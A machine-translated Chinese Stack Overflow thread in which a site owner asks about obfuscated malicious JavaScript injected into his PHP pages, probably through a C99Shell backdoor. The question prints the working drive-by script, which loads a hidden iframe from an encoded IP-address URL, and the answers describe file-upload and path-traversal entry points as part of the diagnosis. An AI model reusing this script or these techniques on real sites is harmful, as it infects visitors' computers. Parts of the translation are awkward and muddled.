PHP脚本:最后的恶意JavaScript代码

caw*_*caw 17 javascript php security virus

问题:

在我的网站空间上有PHP文件,所有这些都以此结尾:

<?php include 'footer.php'; ?>
Run Code Online (Sandbox Code Playgroud)

在此行之前,文件中还有HTML代码.

浏览器中的输出以此结束,当然:

</body>
</html>
Run Code Online (Sandbox Code Playgroud)

但昨天,最后突然出现了一些恶意代码.我的index.php的输出是:

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Run Code Online (Sandbox Code Playgroud)

我在我的网站空间上打开了文件(通过FTP下载),我看到有人把这个代码放到了文件中!

怎么会发生这种情况?

我能想象的唯一方法:

  • 有人拿到了我的FTP密码.但他不仅会把它放在一个文件中.他本可以造成更多伤害.所以我无法想象这种情况.
  • 我自己的电脑上有病毒.我使用Notepad ++进行编辑,使用FileZilla进行上传.也许这些程序也被污染了,我上传了恶意代码 - 不知道.
  • 有人使用安全漏洞(XSS)将该代码放入页面.但是他不能把它直接放到文件中,不是吗?

症状:

用户报告在Firefox中弹出一个蓝色面板.它要求他们安装一个插件.现在他们中的一些人在他们的PC上有Exploit.Java.CVE-2010-0886.a.

这是由于恶​​意代码?代码到底做了什么?

你能帮助我吗?

请帮帮我,我真的很绝望.

也许还有一个问题,如果你知道我怎么能得到它:我怎么能在将来阻止这样的事情呢?

编辑#1:

我在我的网站空间的根目录中找到了一个名为"x76x09.php"的文件.它的文件大小为44.281字节.我已下载并尝试打开它.但我的防病毒软件称它是一种木马(Trojan.Script.224490).我认为此文件已被执行并将恶意代码添加到每个目录中的"index.php".这有帮助吗?该木马如何进入我的网站空间?这是一个众所周知的病毒吗?

编辑#2:

我的主机说他现在可以确定该文件没有通过FTP上传.所以感染不是通过FTP发生的.根据我的主机,它必须是不安全的脚本.

编辑#3:

根据PHPSecInfo的安全漏洞:

  • allow_url_fopen = 1
  • allow_url_include = 1
  • expose_php = 1
  • file_uploads = 1(这是恶意"x76x09.php"文件的罪魁祸首吗?)
  • group_id = 99
  • user_id = 99

编辑#4:

我已经分析了在我的网络服务器上执行的文件.这是结果.

所以这种病毒似乎被称为:

  • PHP/C99Shell.BF
  • 后门/ PHP.C99Shell
  • BackDoor.Generic_c.CQA
  • Trojan.Script.224490
  • Exploit.PHP.635
  • Backdoor.PHP.C99Shell.bf
  • Trojan.Script.224490

他们中的一些会导致我的网站空间上添加恶意代码的恶意文件吗?

Dan*_*ien 16

我不觉得现在的问题是,您使用的是共享主机,因为我已经找到了六人(degmsb,班伏里奥,joomla01,DJ-外国人,valerione1979卡尔斯),其网站有同样的脚本添加.此外,您的任何文件都可以被其他人写入是值得怀疑的,因为通过FTP上传的文件受文件创建模式位掩码的限制.

我最好的猜测是有人使用已知的漏洞攻击或针对常见弱点的攻击来破解网站,而且这个人正在识别谷歌黑客的可能目标.degmsb的Wordpress网站和Benvolio的Burning Board Lite网站可能已经通过已知的漏洞利用(可能是对TinyMCE这些软件库的插件的已知漏洞利用)进行破解,而您自己编写的网站可能是通过针对常见网站的漏洞破解的弱点.

鉴于您允许文件上传(您的一个PHP脚本接受并保存用户上传的文件),我会考虑CWE-434:无限制上载具有危险类型的文件.CWE-434漏洞就像这样:假设您允许用户上传头像图像或图片.上传图像的POST脚本可能会将文件保存为/images使用用户提供的相同文件名.现在想象一下,有人上传x76x09.gif.php(或x76x09.gif.asp,x76x09.gif.php4等等).您的脚本将尽职尽责地保存此上传内容,/images/x76x09.gif.php以及让服务器运行此脚本的浏览器需要执行的所有操作/images/x76x09.gif.php.即使文件已命名x76x09.php.gif,某些Web服务器也会执行该文件.

另一种可能性是PHP接收的上传文件名,即发送的标题中$_FILES['upload']['name']filenameContent-Disposition,被构造成类似的东西..\modules\x.gif.如果你的脚本保存在新上传的文件str_replace('\\', '/', '/images/' . basename($_FILES['upload']['name'])),或/images/../modules/x.gif在非Windows主机上(http://codepad.org/t83dYZwa),并且有一些方法,为用户造成你的PHP脚本中的一个includerequire任意脚本该modules目录(比方说index.php?module=x.gif&action=blah),那么黑客将能够执行任意PHP.

编辑:看起来像 x76x09.php某种不受限制的目录浏览器和文件上传器.如果用户设法将其上传到您的服务器,那么他们基本上可以执行您可以使用FTP访问执行的任何操作.删除它.

EDIT2:查找此PHP源代码的副本(部分gzuncompress(base64_decode("HJ3H...geFb//eeff/79z/8A"));).从所有PHP脚本中删除它.

EDIT3:谷歌搜索PHP脚本的一部分,我已经找到了几个网页,其中逐字列出了这个源,所有这些页面都与各个网站的文件上传功能有关.因此,您网站的黑客很可能使用了CWE-434漏洞.

  • @Hippo:嗯.你是对的.我刚刚在Linux机器上测试了`<?php fopen('modules \\ x.gif','w +');`,它创建了一个名为`modules\x.gif`的文件.但是,如果在文件移动之前用反斜杠替换了反斜杠,则会导致问题.我会更新我的答案. (2认同)

Sar*_*raz 7

看起来您的服务器已被入侵,您是否也在共享主机上?

您可以通过以下方式找到服务器的安全配置:

PhpSecInfo

alt text http://phpsec.org/images/psi_ss2.png

  • @marco:如果你不是从远程网址读取文件,你应该从php.ini中禁用`allow_url_fopen`. (2认同)